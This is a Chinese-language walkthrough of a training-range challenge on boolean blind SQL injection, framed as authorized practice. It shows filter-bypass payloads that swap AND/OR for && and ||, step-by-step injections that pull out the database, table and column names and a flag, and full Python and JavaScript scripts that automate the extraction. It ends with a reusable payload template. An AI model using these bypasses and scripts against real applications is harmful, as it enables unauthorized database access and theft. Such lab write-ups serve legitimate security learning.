白帽江湖实战靶场SQL注入篇:SQL注入 - 布尔盲注(关键词过滤)

SQL注入:布尔盲注(关键词过滤绕过)靶场通关记录

靶场地址:https://www.baimaojianghu.com/range/13

说明:本文仅记录在该授权靶场中的测试过程,用于学习布尔盲注与关键词过滤绕过的思路。

1. 页面初探

打开靶场,页面标题 "StarMail - 注册检测",功能很直接:

  • 输入用户名
  • 点击"检测可用性"
  • 接口返回该用户名是否已被注册

页面提示了接口地址及已知用户:

API 接口:query.php?username=xxx
系统已有注册用户:admin, zhangsan, lisi, wangwu, test_dev

以及一个安全提示:

⚠️ 安全防护:关键词过滤已启用

这告诉我们该靶场对某些 SQL 关键词做了过滤,需要绕过。

2. 确认接口行为

先访问正常接口:

https://range.baimaojianghu.com/lab/32001/query.php?username=admin

返回:

{"exists":true}

再试一个不存在的用户名:

https://range.baimaojianghu.com/lab/32001/query.php?username=zhangsan123

返回:

{"exists":false}

这就是布尔盲注的回显信道——接口只会告诉你"存在"或"不存在",不会回显数据库内容。

3. 测试关键词过滤

先试一下经典的注入 payload:

?username=admin' AND 1=1 -- -

返回:

{"blocked":true,"msg":"安全警告:检测到危险关键词 [and]"}

拦截了。说明过滤规则确实存在,且 AND 被列入了黑名单。同理测试 OR

?username=admin' OR 1=1 -- -

同理,测试大小写的过滤是否存在:

?username=admin' AnD 1=1 -- -

返回:

{"blocked":true,"msg":"安全警告:检测到危险关键词 [and]"}

测试:

?username=admin' oR 1=1 -- -

返回:

{"blocked":true,"msg":"安全警告:检测到危险关键词 [or]"}

同样被拦截。那么 UNIONSELECT 等很可能也被过滤了。

4. 绕过关键词过滤

SQL 标准中,AND 可以用 && 替代,OR 可以用 || 替代。这是 MySQL 支持的运算符别名。我们利用这一点绕过过滤。

URL 编码后:

原始字符 URL 编码
&& %26%26
|| %7c%7c

测试 && 绕过 AND

?username=admin' %26%26 1=1 -- -

返回:

{"exists":true}

再试假条件:

?username=admin' %26%26 1=2 -- -

返回:

{"exists":false}

确认 && 成功绕过了关键词过滤,且布尔盲注条件成立。

测试 || 绕过 OR

?username=admin' %7c%7c 1=1 -- -

返回:

{"exists":true}

两种运算符别名都可用。

关键认识:过滤规则是在应用层做的字符串匹配,检测的是 HTTP 请求参数中是否包含 andor 等关键字。而 &&|| 在 SQL 语法层面等价于 ANDOR,但在字符串层面不包含过滤关键字,因此可以绕过。

5. 一个隐藏的陷阱:关键词不仅在注入点里

这个靶场有个重要的细节:过滤规则会检查整个输入字符串中是否包含 andor 这些关键字。这意味着不仅你的注入运算符要被绕过,连子查询内部的 SQL 关键字也不能出现 andor

例如,下面的查询试图获取 users 表的字段数:

select count(*) from information_schema.columns
where table_schema='vuln_db' and table_name='users'

这条 SQL 里的 and 关键字会触发过滤。解决方案同样是——在子查询内部也把 and 替换成 &&

select count(*) from information_schema.columns
where table_schema='vuln_db' && table_name='users'

这个替换不会改变 SQL 语义,因为 MySQL 中 &&AND 是完全等价的逻辑运算符。

6. 布尔盲注实施

确认注入点可用后,进行标准的布尔盲注流程。

6.1 确认数据库名长度

先用二分法判断 database() 的长度:

?username=admin' %26%26 length(database())>5 -- -
# 返回 true,说明长度 > 5

?username=admin' %26%26 length(database())>7 -- -
# 返回 false,说明长度 ≤ 7

?username=admin' %26%26 length(database())=7 -- -
# 返回 true,确认数据库名长度为 7

6.2 逐位提取数据库名

使用 ascii(substr(database(),N,1)) 逐位提取每个字符的 ASCII 码。以第一位为例的二分过程:

?username=admin' %26%26 ascii(substr(database(),1,1))>110 -- -
# true,字符 > 'n'

?username=admin' %26%26 ascii(substr(database(),1,1))>117 -- -
# true,字符 > 'u'

?username=admin' %26%26 ascii(substr(database(),1,1))>118 -- -
# false,字符 ≤ 'v'

?username=admin' %26%26 ascii(substr(database(),1,1))=118 -- -
# true,确认第一位 ASCII 118 = 'v'

6.3 使用自动化脚本批量提取

手动逐位提取很耗时,可以用 Python 脚本自动化:

import requests

url = "https://range.baimaojianghu.com/lab/32001/query.php"

def query(payload):
    try:
        r = requests.get(url, params={"username": payload}, timeout=10)
        data = r.json()
        if data.get("blocked"):
            return None
        return data.get("exists", False)
    except:
        return None

def extract_string(func_expr, length):
    """逐位提取字符串内容"""
    result = ""
    for pos in range(1, length + 1):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi + 1) // 2
            payload = f"admin' && ascii(substr(({func_expr}),{pos},1))>={mid} -- -"
            r = query(payload)
            if r is True:
                lo = mid
            elif r is False:
                hi = mid - 1
            else:
                return None
        result += chr(lo)
        print(f"  [{pos}/{length}] '{chr(lo)}' -> {result}")
    return result

# 获取数据库名
db_name = extract_string("database()", 7)
print(f"Database: {db_name}")

也可以直接在浏览器控制台用 JavaScript 快速盲注。核心函数如下:

async function blindExtract(funcExpr, length) {
  let result = '';
  for (let pos = 1; pos <= length; pos++) {
    let lo = 32, hi = 126;
    while (lo < hi) {
      const mid = Math.floor((lo + hi + 1) / 2);
      const payload = "admin' && ascii(substr((" + funcExpr + ")," + pos + ",1))>=" + mid + " -- -";
      const r = await fetch('/lab/32001/query.php?username=' + encodeURIComponent(payload))
        .then(res => res.json())
        .then(d => d.blocked ? null : d.exists);
      if (r === true) lo = mid;
      else if (r === false) hi = mid - 1;
      else return null;
    }
    result += String.fromCharCode(lo);
  }
  return result;
}

一个值得注意的问题:二分法使用 > 进行比较时,如果目标值是 n,搜索过程会收敛到 n-1(因为 n > n-1 为真)。所以在二分结束后,最好再用 =n 验证一下,或者在二分条件中用 >= 替代 >

最终提取到数据库名:

vuln_db

7. 枚举表名

通过 information_schema.tables 查表信息。注意这里也要避免在字符串中出现 andor 等关键字——不过 information_schema 本身就包含 or(information),需要测试是否会触发过滤。

测试后发现 information_schema 并没有被拦截,说明过滤规则只匹配独立的关键词,而不是子字符串。

查询表数量:

?username=admin' %26%26 (select count(table_name) from information_schema.tables where table_schema='vuln_db')=2 -- -
# true,确认有 2 张表

逐位提取表名,得到:

表名 说明
users 用户表
secret_flags 存储 flag 的表

8. 枚举字段名

使用 information_schema.columns。这里要注意:过滤规则会检查 where table_schema='vuln_db' and table_name='xxx' 中的 and,因此需要在子查询的 WHERE 子句中也用 && 替代 and

?username=admin' %26%26 (select count(*) from information_schema.columns 
  where table_schema='vuln_db' %26%26 table_name='secret_flags')=3 -- -
# true,3 个字段

逐位提取字段名:

secret_flags 表

字段名 类型推断
id 主键 ID
flag_name 标识名称
flag_value Flag 值

users 表

字段名
id
username
password
email
phone
role
status

9. 提取 flag

直接查询 secret_flags 表中的 flag_value 字段:

?username=admin' %26%26 (select length(flag_value) from secret_flags limit 1)=26 -- -
# true,flag 长度为 26

逐位提取 flag_value

?username=admin' %26%26 ascii(substr((select flag_value from secret_flags limit 1),1,1))=102 -- -
# true,第 1 位 ASCII 102 = 'f'

?username=admin' %26%26 ascii(substr((select flag_value from secret_flags limit 1),2,1))=108 -- -
# true,第 2 位 ASCII 108 = 'l'
...

最终得到:

flag_value: flag{b00l_0p3r4t0r_byp4ss}

10. 本题完整攻击链

┌──────────────┐
│ 页面分析      │ → 找到 query.php?username= 注入点
├──────────────┤
│ 测试过滤规则  │ → 发现 AND、OR、UNION 被拦截
├──────────────┤
│ 绕过过滤      │ → 用 && 替代 AND,用 || 替代 OR
├──────────────┤
│ 布尔盲注      │ → 通过 exists:true/false 推断数据
├──────────────┤
│ 数据库名      │ → vuln_db
├──────────────┤
│ 表名          │ → secret_flags、users
├──────────────┤
│ 字段名        │ → flag_name、flag_value
├──────────────┤
│ 提取 flag     │ → flag{b00l_0p3r4t0r_byp4ss}
└──────────────┘

11. 关键知识点总结

11.1 MySQL 运算符别名

原始关键字 替代符 URL 编码
AND && %26%26
OR || %7c%7c
= LIKE
SUBSTRING SUBSTR / MID

11.2 过滤绕过的原则

过滤规则通常做的是字符串匹配——检查用户输入中是否包含黑名单中的子串。这就意味着:

  • 大小写绕过:AnDaNd → 通常会被统一转大写/小写后被拦截
  • 双写绕过:anandd → 部分实现不严谨的过滤会被绕过
  • 运算符别名绕过&&|| → 最稳,因为完全不含过滤关键字

11.3 本靶场的特殊之处

  • 过滤不仅检查注入点的注入运算符,子查询内部的 SQL 关键字也会被检查
  • 这意味着 WHERE a='x' AND b='y' 中的 AND 也需要换成 &&
  • 这要求攻击者对整个注入语句的每个部分都要意识到过滤的存在

11.4 二分法盲注的效率比较

以一个长度为 n 的字符串、每个字符可能的取值范围为 m(通常 95 个可打印字符)为例:

方法 单字符请求数 总请求数(n=26)
顺序遍历 O(m) ≈ 95 ≈ 2470
二分法 O(log₂m) ≈ 7 ≈ 182

效率提升了一个数量级。

12. 可复用的测试模板

测试注入与绕过

# 无防护时的基础测试
admin' AND 1=1 -- -
admin' AND 1=2 -- -

# 有过滤时的绕过测试
admin' && 1=1 -- -
admin' && 1=2 -- -
admin' || 1=1 -- -

判断数据库名长度

length(database())=N

判断数据库名字符

ascii(substr(database(),N,1))=M

查询表

# 注意:子查询内部的 and 也要用 && 替代
select count(table_name) from information_schema.tables
  where table_schema='vuln_db' && table_name='secret_flags'

查询字段

select count(column_name) from information_schema.columns
  where table_schema='vuln_db' && table_name='secret_flags'

读取 flag

select flag_value from secret_flags

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。